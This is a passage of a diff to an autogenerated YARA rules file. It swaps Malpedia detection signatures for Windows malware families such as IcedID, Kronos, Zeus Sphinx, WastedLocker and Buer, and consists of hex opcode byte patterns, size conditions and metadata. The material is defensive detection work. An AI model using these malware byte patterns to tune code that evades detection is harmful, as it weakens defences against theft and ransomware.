-		$sequence_5 = { e8???????? 83f814 7706 837d1400 7f0a b8ffffffff }
-		$sequence_6 = { 837d0c00 750a b800000000 e9???????? 8b450c 8b4010 8945f0 }
-		$sequence_7 = { 89442404 8b45f0 890424 e8???????? c70424???????? e8???????? 8b45f4 }
-		$sequence_8 = { c704240a000000 e8???????? eb0a c745f401000000 eb08 90 c745f400000000 }
-		$sequence_9 = { 83ec04 89442404 8d85b4feffff 890424 e8???????? 8d85b4feffff 89442404 }
+		$sequence_0 = { 490faff8 4d89c3 4901ff 4c8b1424 490fafd2 48039424b8000000 4c89ef }
+		$sequence_1 = { 72e7 4889f9 4889da e8???????? 48c7474800000000 31c0 6690 }
+		$sequence_2 = { f6c201 0f84e3000000 4183fb66 775c 744e }
+		$sequence_3 = { 4889fa e8???????? 4889f9 4889fa e8???????? 4c89f1 }
+		$sequence_4 = { 29e8 488bac24a8000000 894500 895504 44895d08 }
+		$sequence_5 = { 490fafc6 4801c2 4889942440010000 4c89842488000000 4c89c0 480fafc1 }
+		$sequence_6 = { 4f037ce538 4c21df 4c31d7 4e03bce498000000 4831c1 4901ff 4c89c8 }
+		$sequence_7 = { 2b6a24 448901 44894904 44895108 4489590c 44897110 897114 }
+		$sequence_8 = { 4883ec28 e8???????? 4885c0 7409 488b4010 }
+		$sequence_9 = { c1e802 4122c2 41884041 8bc2 83e003 8a0481 498bc8 }
 
 	condition:
-		7 of them and filesize <312320
+		7 of them and filesize <779264
 }
-rule MALPEDIA_Win_Usbferry_Auto : FILE
+rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62065071-13fe-542b-a291-fb80bd43202d"
+		id = "4c9695e3-d96e-5f67-a0c2-424bcf596515"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.usbferry_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_sphinx_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "886d5513793c468df6b8e0477647a179848882846be144ad6058e6cfbd13a26d"
+		logic_hash = "c474cca5e98993ccd970de7e5648248c620e9abab23dec872f161292bb6b1fb0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168704,38 +175906,38 @@ rule MALPEDIA_Win_Usbferry_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 8b45e0 50 ff15???????? 85c0 742c }
-		$sequence_1 = { 8b9598f5ffff 2b9588f5ffff 8b8588f5ffff 89857cf5ffff 899578f5ffff }
-		$sequence_2 = { e9???????? ff75e0 a1???????? ff5060 8d45e0 }
-		$sequence_3 = { c3 3b0d???????? f27502 f2c3 f2e960030000 55 }
-		$sequence_4 = { 8b525c e8???????? 8b15???????? 8b4d84 ff7210 89425c }
-		$sequence_5 = { 803f2e 7402 33ff 85ff 7407 8d45e9 }
-		$sequence_6 = { c645df6f c645e06e c645e100 c685a4f5ffff00 68ff030000 }
-		$sequence_7 = { 2b858cf5ffff 8b8d8cf5ffff 898d84f5ffff 898580f5ffff 8d95a8feffff 83c2ff }
-		$sequence_8 = { 8b7d0c 33db 895ddc c745e000040000 895dfc 8d45dc }
-		$sequence_9 = { 89814c010000 8b09 e8???????? 8b0d???????? ff7110 8b9154010000 }
-		$sequence_10 = { ff7110 8b517c 894178 8b09 e8???????? 8b0d???????? }
-		$sequence_11 = { 8a460e 8bcf 8845fb 8d45fb }
-		$sequence_12 = { 33c5 8945fc c685fcfffeff00 68ffff0000 }
-		$sequence_13 = { 8885a0f5ffff 838590f5ffff01 80bda0f5ffff00 75e1 }
-		$sequence_14 = { 0f2805???????? 0f1145c8 6a00 0f2805???????? 0f1145d8 50 }
-		$sequence_15 = { 50 8d45f0 64a300000000 c745e000000000 c745fc00000000 837d2000 }
+		$sequence_0 = { 50 e8???????? 891c24 89c6 e8???????? 83c410 8d65f4 }
+		$sequence_1 = { 50 e8???????? 83c414 68???????? e8???????? c70424???????? }
+		$sequence_2 = { 50 e8???????? 83c410 c74604ffffffff 897508 }
+		$sequence_3 = { 50 e8???????? 83c430 85c0 7e0c }
+		$sequence_4 = { 52 52 8b6c2444 55 50 e8???????? 8944245c }
+		$sequence_5 = { 50 e8???????? 84c0 745f 8d442414 }
+		$sequence_6 = { 50 e8???????? 83c420 48 }
+		$sequence_7 = { 50 e8???????? 83c418 68???????? 68???????? }
+		$sequence_8 = { 01fc eb98 035e14 8ade }
+		$sequence_9 = { 010c02 3bf7 0f85f0f50000 e9???????? }
+		$sequence_10 = { 003b c09bdbe23ea11c 695600663ec700 de07 }
+		$sequence_11 = { 0303 50 ff550c 8b3e }
+		$sequence_12 = { 010d???????? 60 5a 98 }
+		$sequence_13 = { 020a 42 1af6 af }
+		$sequence_14 = { 0162c9 cf 0c06 3c3e }
+		$sequence_15 = { 0008 d7 9f b2d3 }
 
 	condition:
-		7 of them and filesize <638976
+		7 of them and filesize <3268608
 }
-rule MALPEDIA_Win_Stormwind_Auto : FILE
+rule MALPEDIA_Win_Kronos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "134843ba-afb3-5108-9e28-7ec5026e872c"
+		id = "8d31fd16-d4f2-5a2a-96ec-ac39493ba957"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stormwind_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kronos_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "81578edc87d2c38ca6c94ce63cf22ed064b72d5bc6a7c525985af57574ba5c73"
+		logic_hash = "9add781f31640b82e44b92fb87f47ac9fbcee8b3e1525e4790235c25c58c2848"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168749,32 +175951,32 @@ rule MALPEDIA_Win_Stormwind_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c404 8bf7 3b3b 75e2 }
-		$sequence_1 = { 83e4f8 81ec1c010000 53 8b5d10 56 57 8b7d0c }
-		$sequence_2 = { e8???????? 83ec0c c745fc00000000 8d4e04 e8???????? 85c0 8b06 }
-		$sequence_3 = { 50 ff7604 56 e8???????? 894604 c745d801000000 8b4804 }
-		$sequence_4 = { 59 8b7d08 33db 391cfd88e40410 755c 6a18 e8???????? }
-		$sequence_5 = { 83fa05 7509 8b852cfdffff 89470c 6bc20c 57 ff90c04e0410 }
-		$sequence_6 = { 8d4de4 e8???????? 68???????? 8d45e4 c745e4740c0410 50 e8???????? }
-		$sequence_7 = { f7fe 57 8bc2 99 }
-		$sequence_8 = { c74508???????? 50 8d4de4 e8???????? 68???????? 8d45e4 c745e4740c0410 }
-		$sequence_9 = { 8975d4 68b8020000 c645fc01 e8???????? }
+		$sequence_0 = { 8d542450 52 03c6 50 57 ffd3 85c0 }
+		$sequence_1 = { 813e50450000 7549 57 56 ff75fc e8???????? 8b450c }
+		$sequence_2 = { e8???????? 33db 6a40 8d4628 53 50 }
+		$sequence_3 = { e8???????? 85db 0f854fffffff eb1c 8d4dd0 be02000000 e8???????? }
+		$sequence_4 = { 897804 8930 ff461c 6a00 }
+		$sequence_5 = { 803d????????01 56 750f 33f6 8d4df0 e8???????? 8bc6 }
+		$sequence_6 = { eb1d 8b0f e8???????? 8b0f 8b30 6a04 e8???????? }
+		$sequence_7 = { 0355dc 8b45e8 2b45ec 03ca 3b450c 7356 29450c }
+		$sequence_8 = { c3 55 8bec 83ec5c 56 8d45a4 50 }
+		$sequence_9 = { 3b7104 7505 8b06 894104 3b7108 7506 8b5604 }
 
 	condition:
-		7 of them and filesize <741376
+		7 of them and filesize <1302528
 }
-rule MALPEDIA_Win_Wastedlocker_Auto : FILE
+rule MALPEDIA_Win_Pirpi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b7e51866-b49c-5bda-b9e7-206c33d8d8a8"
+		id = "98537945-bca9-5f78-aa80-688498d88ff3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wastedlocker_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pirpi_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "f3876fe06c43f4da1aa2e85c3923ddbcdfed237d9e82449557581810436fb80c"
+		logic_hash = "b10391fa85a6d93cb62abde2610054ffc017de9bf6b1bef0a98b13168e41c382"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168788,32 +175990,32 @@ rule MALPEDIA_Win_Wastedlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bf0 ff7508 6a00 ff35???????? ff15???????? 5f }
-		$sequence_1 = { 8945e4 8d45dc 50 c745dc18000000 897de0 }
-		$sequence_2 = { 50 e8???????? 83c40c 56 8d85c8f1ffff 53 50 }
-		$sequence_3 = { ffd3 8bf8 85ff 7419 6a20 57 ffd3 }
-		$sequence_4 = { 8d45ec 50 8d45d4 50 6816011200 }
-		$sequence_5 = { 3b45d0 0f8382000000 894dd8 394de0 740b 0fb703 034710 }
-		$sequence_6 = { ff35???????? ff15???????? 5f ff75f8 ff15???????? }
-		$sequence_7 = { 6a00 ff35???????? ff15???????? 8bd8 85db 7469 8b450c }
-		$sequence_8 = { 2500f0ffff 56 0500100000 50 56 b812345607 }
-		$sequence_9 = { bf04010000 ffd3 8bf0 85f6 746a 57 56 }
+		$sequence_0 = { e8???????? 33ff 8945f4 85c0 897dfc }
+		$sequence_1 = { 46 3bf7 72eb c6043b00 5d 8bc7 }
+		$sequence_2 = { 50 ff15???????? 83c414 8d8c2434010000 }
+		$sequence_3 = { 8bd8 83c408 85db 7515 68???????? 50 }
+		$sequence_4 = { 83c404 85ed 7513 53 ff15???????? 5f 5e }
+		$sequence_5 = { 56 ff15???????? 56 8be8 ff15???????? 33d2 3bea }
+		$sequence_6 = { 33c0 f2ae f7d1 49 83f920 7350 }
+		$sequence_7 = { 03d8 f3a4 c6042b00 eb6e }
+		$sequence_8 = { 55 c744242018000000 e8???????? 83f87a 753b 55 8b2d???????? }
+		$sequence_9 = { 89442414 7516 ff15???????? 894504 c744241000000000 e9???????? }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <327680
 }
-rule MALPEDIA_Win_Tildeb_Auto : FILE
+rule MALPEDIA_Win_Atmii_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4d2b91f-a0b2-5435-bc42-03da5ff53194"
+		id = "a3746494-2207-5da0-bb5a-0a2c92906b78"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tildeb_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmii_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "5eed583e8de669a9ccc3c14def00c8dc34c80dd8549b8a02a48ebd34aae4a3b5"
+		logic_hash = "32f9cc90bb902f5f085ec60f456bf3e42304f21478253b8a2c4851a4d1f531ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168827,32 +176029,38 @@ rule MALPEDIA_Win_Tildeb_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4dbc 51 56 ff15???????? 56 ff15???????? }
-		$sequence_1 = { 6a00 6a00 ff15???????? 85c0 0f84f5090000 68???????? }
-		$sequence_2 = { 57 6a40 c644241300 ff15???????? 50 ff15???????? }
-		$sequence_3 = { 85c0 7445 50 68???????? 68???????? ff15???????? 83c40c }
-		$sequence_4 = { e8???????? 6a00 6a08 8d85d4f5ffff 50 }
-		$sequence_5 = { 68???????? 57 56 ff15???????? 8945bc 85c0 7457 }
-		$sequence_6 = { c3 b815000000 5e 81c494010000 c3 f7d8 5e }
-		$sequence_7 = { eb40 8d458c 50 68???????? eb35 }
-		$sequence_8 = { 53 55 8bac2410010000 56 8b35???????? 57 68???????? }
-		$sequence_9 = { 6800000088 68???????? 68???????? 6a00 ff15???????? 8b0d???????? }
+		$sequence_0 = { 6a03 68000000c0 8b0d???????? 51 ff15???????? 8945fc }
+		$sequence_1 = { 8945ee 0fb705???????? 52 682e010000 50 895dd9 }
+		$sequence_2 = { 68???????? 50 ffd7 8d9dfcfbffff }
+		$sequence_3 = { 8d8dd1f9ffff 51 8895c4f9ffff ff15???????? }
+		$sequence_4 = { 8d95fcfdffff 6a00 52 e8???????? 8b35???????? 83c424 68???????? }
+		$sequence_5 = { 8945fc 837dfc00 7454 8b4dfc 0fb611 }
+		$sequence_6 = { 51 e8???????? 8b55f4 83c414 6a00 }
+		$sequence_7 = { 83c414 8d9df8fcffff e8???????? 8b45f8 85c0 7407 }
+		$sequence_8 = { 68???????? 68c3000000 8d85f8fcffff 68???????? 50 }
+		$sequence_9 = { 5f 5b 8be5 5d c3 68???????? 680b010000 }
+		$sequence_10 = { 837d0803 0f8ceb000000 53 8b1d???????? 57 68???????? }
+		$sequence_11 = { ffd3 68???????? 68???????? 8985c5f9ffff ffd7 }
+		$sequence_12 = { c745f800000000 ff15???????? 85c0 0f94c0 8845ff 84c0 742e }
+		$sequence_13 = { 85ff 0f8448030000 8d55f0 52 6800040000 }
+		$sequence_14 = { ff2485181d0010 68???????? 8d8df8feffff 51 eb2f 68???????? }
+		$sequence_15 = { 81ea???????? 83c204 f7d2 8955ed }
 
 	condition:
-		7 of them and filesize <8532488
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Anchormtea_Auto : FILE
+rule MALPEDIA_Win_Elirks_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1f1be8a6-a512-5951-b4a5-8a59e9561b7d"
+		id = "abbbcbca-d514-5806-9c10-833d31c8983a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anchormtea_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.elirks_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "36b7e20db6ab94edc928176040f9980c01a0a26295c603a430e96744ecfde5c2"
+		logic_hash = "4de38c5bbb938b8f52d51f635312140a804238195b0d5824203719bed438cd32"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168866,39 +176074,34 @@ rule MALPEDIA_Win_Anchormtea_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? f7d8 1bc0 83e002 }
-		$sequence_1 = { 33c0 6689047e eb14 51 }
-		$sequence_2 = { 83f81f 0f87f3080000 52 51 e8???????? }
-		$sequence_3 = { 7409 488bcf ff15???????? 33f6 4c8b7c2448 4c8b642460 }
-		$sequence_4 = { 488905???????? 488d055b7e0200 488905???????? 488d05897d0200 48890d???????? 48890d???????? }
-		$sequence_5 = { 899d1cffffff ffd7 50 ffd6 }
-		$sequence_6 = { 8b9580f7ffff 89856cf7ffff 8b85acf7ffff 2bc7 898d5cf7ffff 89bd64f7ffff }
-		$sequence_7 = { 4983ff10 4c0f43f7 4c8b6c2470 4983fd0b 725f 4f8d242e }
-		$sequence_8 = { 51 57 8d4dd8 e8???????? 33d2 895588 90 }
-		$sequence_9 = { 4883c0f8 4883f81f 772e e8???????? 8bc6 }
-		$sequence_10 = { 488d9510020000 488bcb ff15???????? 413b7624 }
-		$sequence_11 = { 4a8d3c39 488bc6 482bc2 4869d88c090000 }
-		$sequence_12 = { 33ff 488945d0 488d45e0 4533c9 4889442448 4533c0 }
-		$sequence_13 = { 740e 6a40 68???????? 68???????? ffd7 8d45f8 }
-		$sequence_14 = { 7514 3b8598fdffff 1bc0 238598fdffff }
+		$sequence_0 = { 8d4c2414 51 68???????? 8bf0 ff15???????? }
+		$sequence_1 = { 85c0 7417 8b44241c 01442414 03f0 2bf8 e9???????? }
+		$sequence_2 = { 51 8d44241c e8???????? 8b8e04600000 83c404 }
+		$sequence_3 = { 83c102 66c7012d00 83c102 66c7012d00 83c102 83ef03 83c603 }
+		$sequence_4 = { 68???????? 8d442430 e8???????? 83c40c }
+		$sequence_5 = { 7fe8 85ff 0f84a1010000 85ff 7e25 }
+		$sequence_6 = { c1f803 0faf4608 894614 6a68 }
+		$sequence_7 = { 52 ff15???????? 8bd8 83fbff 895c2410 7546 }
+		$sequence_8 = { 8d8c2490060000 51 6804010000 ff15???????? 8d9e0c600000 53 6a00 }
+		$sequence_9 = { 750b 57 e8???????? 83c404 5e c3 }
 
 	condition:
-		7 of them and filesize <839680
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Icedid_Auto : FILE
+rule MALPEDIA_Win_Campoloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f1fe8329-9566-5f3c-8226-7a3fb9936918"
+		id = "00b62c88-0d38-56b9-90a5-7c85290ffbe9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icedid_auto.yar#L1-L298"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.campoloader_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "35bc9d0f5535131e0ac355ad775af24bc4cac838dad6434eced01ac7afcde501"
+		logic_hash = "dae472a7090c99e8a9ce136356f9bc867c42c508ecb59c9f6aa0187832a15e3c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -168910,54 +176113,32 @@ rule MALPEDIA_Win_Icedid_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7511 56 57 ff15???????? }
-		$sequence_1 = { 50 6801000080 ff15???????? eb13 }
-		$sequence_2 = { 803e00 7427 6a3b 56 ff15???????? 8bf8 }
-		$sequence_3 = { ff15???????? 85c0 7420 837c241000 7419 }
-		$sequence_4 = { 56 ff15???????? 8bf8 85ff 7418 c60700 }
-		$sequence_5 = { 68???????? 6a00 ff15???????? 33c0 40 }
-		$sequence_6 = { 50 ff15???????? 8bf7 8bc6 eb02 }
-		$sequence_7 = { eb0f 6a08 ff15???????? 50 ff15???????? 8906 }
-		$sequence_8 = { e8???????? 8bf0 8d45fc 50 ff75fc 6a05 }
-		$sequence_9 = { 743f 8d5808 0fb713 8954241c }
-		$sequence_10 = { 03c2 eb5c 8d5004 89542414 8b12 85d2 }
-		$sequence_11 = { 66c16c241c0c 0fb7d2 c744241000100000 663b542410 }
-		$sequence_12 = { 47 83c302 3bfd 72c4 }
-		$sequence_13 = { 8d4508 50 0fb6440b34 50 }
-		$sequence_14 = { 89542414 8b12 85d2 7454 8d6af8 d1ed }
-		$sequence_15 = { 47 3b7820 72d1 5b 33c0 40 }
-		$sequence_16 = { ff5010 85c0 7407 33c0 e9???????? }
-		$sequence_17 = { 8a4173 a808 75f5 a804 7406 }
-		$sequence_18 = { ff15???????? 85c0 750a b8010000c0 }
-		$sequence_19 = { 41 02fd c6430503 eb21 41 0fb6c1 }
-		$sequence_20 = { 48 8bfa 48 8bf1 45 8d41ce e8???????? }
-		$sequence_21 = { 7407 41 2bcd 7515 eb0f 44 }
-		$sequence_22 = { 48 8d442458 48 8bf9 48 }
-		$sequence_23 = { 8bce 894348 48 8b15???????? }
-		$sequence_24 = { 7307 4c8b742420 eba1 488bb590020000 }
-		$sequence_25 = { 57 4883ec30 488bf2 488bd9 ff15???????? 4885c0 }
-		$sequence_26 = { 7409 8b4c2478 493b0e 741e 498b1f 4885db }
-		$sequence_27 = { 33d2 488bc8 ff15???????? 488bb590020000 4885f6 7414 ff15???????? }
-		$sequence_28 = { 33d2 488bce ff15???????? 8bd8 49891e 85c0 }
-		$sequence_29 = { 4533c0 c740c803000000 ba00000080 ff15???????? 488bf0 4883f8ff 7507 }
-		$sequence_30 = { 33ff 4d8bf0 482178d8 4c8bfa }
-		$sequence_31 = { 5d c3 488b0d???????? 488d050d1e0000 }
+		$sequence_0 = { 83ec1c a1???????? 33c5 8945fc a1???????? 8945e4 }
+		$sequence_1 = { 898d58efffff c78584efffff00000000 8d55f4 52 8b8558efffff 50 }
+		$sequence_2 = { ff15???????? ff15???????? 8b8584efffff 8b4dfc 33cd e8???????? }
+		$sequence_3 = { 8b9584efffff 039574efffff c60200 8b450c }
+		$sequence_4 = { ff15???????? 898550efffff 0fb78554efffff 50 }
+		$sequence_5 = { 038d8cefffff 898d74efffff e9???????? 8b9584efffff 039574efffff c60200 8b450c }
+		$sequence_6 = { ff15???????? 8945f8 68???????? 8b45fc 50 }
+		$sequence_7 = { 6a01 6a00 6a00 6800000040 8b4510 }
+		$sequence_8 = { 8b8558efffff 50 8d8df0feffff 51 }
+		$sequence_9 = { 8b8d70efffff 51 8b9584efffff 52 ff15???????? }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <66560
 }
-rule MALPEDIA_Win_Spybot_Auto : FILE
+rule MALPEDIA_Win_Sykipot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bb20c1b9-da8a-50d3-8d1c-08fd01abaeb2"
+		id = "6685d9d7-6a5e-5dd1-be8d-f9a06a5df784"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spybot_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sykipot_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "f1b579b5b1ee691f466e64e8179031f49e4fd32bcc6dd2bb1d3af2d36456dc74"
+		logic_hash = "fc1ea45bf7dc961b3986859ea4bfe6fc9a7dfe7e53218e4f87e591fa79b5c1da"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168971,32 +176152,32 @@ rule MALPEDIA_Win_Spybot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ffb574ffffff ff750c e8???????? 83c428 e9???????? }
-		$sequence_1 = { 50 e8???????? 83c40c 8d4508 be08010000 50 }
-		$sequence_2 = { 8d45ec 50 e8???????? 8d45ec 885dee 50 8d8548ffffff }
-		$sequence_3 = { 80bd48ffffff30 7c09 80bd48ffffff39 7e16 6a03 8d8548ffffff 68???????? }
-		$sequence_4 = { 56 68???????? e8???????? 59 85c0 59 0f85d7000000 }
-		$sequence_5 = { 3b35???????? 0f83c5010000 8bc6 83e61f c1f805 c1e603 8d1c85e07e5100 }
-		$sequence_6 = { 69c034020000 59 389890814400 0f84fb2b0000 395df4 0f84f22b0000 ff7520 }
-		$sequence_7 = { 8d850cfbffff 53 50 68???????? 53 53 ff15???????? }
-		$sequence_8 = { 898510fbffff 8b45fc 898598fbffff 8b45f8 3bf3 89859cfbffff 751c }
-		$sequence_9 = { 750b 57 ff15???????? 8bc6 eb02 }
+		$sequence_0 = { 8d8c2488000000 51 ffd5 68???????? 68???????? ffd3 83c408 }
+		$sequence_1 = { 56 c744246004000000 ffd7 8b4c244c 6a04 }
+		$sequence_2 = { 50 51 8bcd e8???????? 8b13 8d442414 52 }
+		$sequence_3 = { 50 8db42498000000 83ec44 8bfc }
+		$sequence_4 = { 5d b80e000000 5b 81c45c180000 c3 56 8b35???????? }
+		$sequence_5 = { 8bcc 8911 8b94244c060000 894104 895108 8bcd }
+		$sequence_6 = { 55 56 ff15???????? 85c0 57 7513 ff15???????? }
+		$sequence_7 = { bf???????? a3???????? f3ab b941000000 bf???????? f3ab b941000000 }
+		$sequence_8 = { 83ec44 b911000000 8db424e8000000 8bfc f3a5 8bcd e8???????? }
+		$sequence_9 = { c24800 8b442404 56 57 }
 
 	condition:
-		7 of them and filesize <2367488
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Kazuar_Auto : FILE
+rule MALPEDIA_Win_Buer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bbccb83c-4401-524c-a829-9e1fecf876f5"
+		id = "29f2986a-0230-51bb-b9a2-7f550ca2fb77"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kazuar_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buer_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "8a42fd36e815cd90ae38c5e050f60bebec4410e7ad562404ae7ac137541dd601"
+		logic_hash = "2390d8b9be10e4a78955cb4e4f9dfe589bef2af5ea30193017caa2f367cbde8d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169010,32 +176191,38 @@ rule MALPEDIA_Win_Kazuar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 3d88ae6393 7506 498b4310 eb0f }
-		$sequence_1 = { e8???????? 4c8d4c2428 31d2 31c9 01c0 4c89442438 6689442430 }
-		$sequence_2 = { 8d8b80030000 894c240c 8d8b00030000 894c2408 8d4b08 894c2404 }
-		$sequence_3 = { 740a 81ea00204000 01d0 eb02 31c0 5d c3 }
-		$sequence_4 = { 7452 83b98c00000000 7449 4c01de }
-		$sequence_5 = { 8b45dc 8b10 890424 ff520c 85c0 52 }
-		$sequence_6 = { 8b461c 498d1493 8b0402 4c01d8 }
-		$sequence_7 = { 8bb188000000 85f6 7452 83b98c00000000 7449 4c01de 31db }
-		$sequence_8 = { 89d7 7463 4863493c 4c01d9 8bb188000000 85f6 7452 }
-		$sequence_9 = { 890424 894c2410 8d8b80030000 894c240c 8d8b00030000 }
+		$sequence_0 = { 8b4014 8b00 8b4010 8945fc 61 8b45fc }
+		$sequence_1 = { 7507 e8???????? eb05 e8???????? 46 83fe20 7cd1 }
+		$sequence_2 = { 60 64a130000000 8b400c 8b4014 8b00 8b4010 }
+		$sequence_3 = { 8bc2 eb19 33c0 85d2 7e13 3bc7 }
+		$sequence_4 = { 8b55e8 015158 8b55d8 894148 8b45dc 03c6 89414c }
+		$sequence_5 = { c1e104 0bc8 6a02 5b }
+		$sequence_6 = { 8945f8 ff15???????? 59 59 85c0 }
+		$sequence_7 = { 8365fc00 53 56 57 60 64a130000000 8b400c }
+		$sequence_8 = { c744240402000000 8d442428 c7442408???????? c744240c01000000 }
+		$sequence_9 = { e8???????? 80fb03 7705 80fb02 }
+		$sequence_10 = { e8???????? 0f0b b92c000000 ba01000000 e8???????? 0f0b 89f9 }
+		$sequence_11 = { c744240401000000 c7442408???????? c744240c01000000 89442410 }
+		$sequence_12 = { e8???????? 56 6a00 50 e8???????? c7471c01000000 }
+		$sequence_13 = { c744240800000000 57 e8???????? 85c0 }
+		$sequence_14 = { cd29 0f0b cc 8b442404 833800 7406 ba???????? }
+		$sequence_15 = { e8???????? 80fb05 ba01000000 0fb6c3 }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <3031040
 }
-rule MALPEDIA_Win_Mewsei_Auto : FILE
